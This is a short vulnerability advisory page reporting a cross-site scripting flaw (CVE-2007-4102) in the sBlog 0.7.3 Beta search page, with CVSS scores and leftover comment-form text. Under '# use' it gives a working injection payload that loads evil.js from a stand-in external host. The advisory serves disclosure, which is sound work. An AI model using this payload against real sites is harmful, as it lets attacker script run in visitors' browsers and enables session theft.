sBlog 0.7.3 Beta XSS Vulnerabilitie

2007-08-01 / 2007-08-02

Credit: 0x90

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2007-4102

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# sBlog 0.7.3 Beta  XSS Vulnerabilitie
# Found by 0x90
# www.0x90.com.ar
# msn & mail: Guns (at) 0x90.com (dot) ar [email concealed]

# in blog
http://host/blog/search.php

# use

'"/></><script src=http://yoursite.com/evil.js>

# Welcome to the jungle!

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

sBlog 0.7.3 Beta XSS Vulnerabilitie

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

sBlog 0.7.3 Beta XSS Vulnerabilitie

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.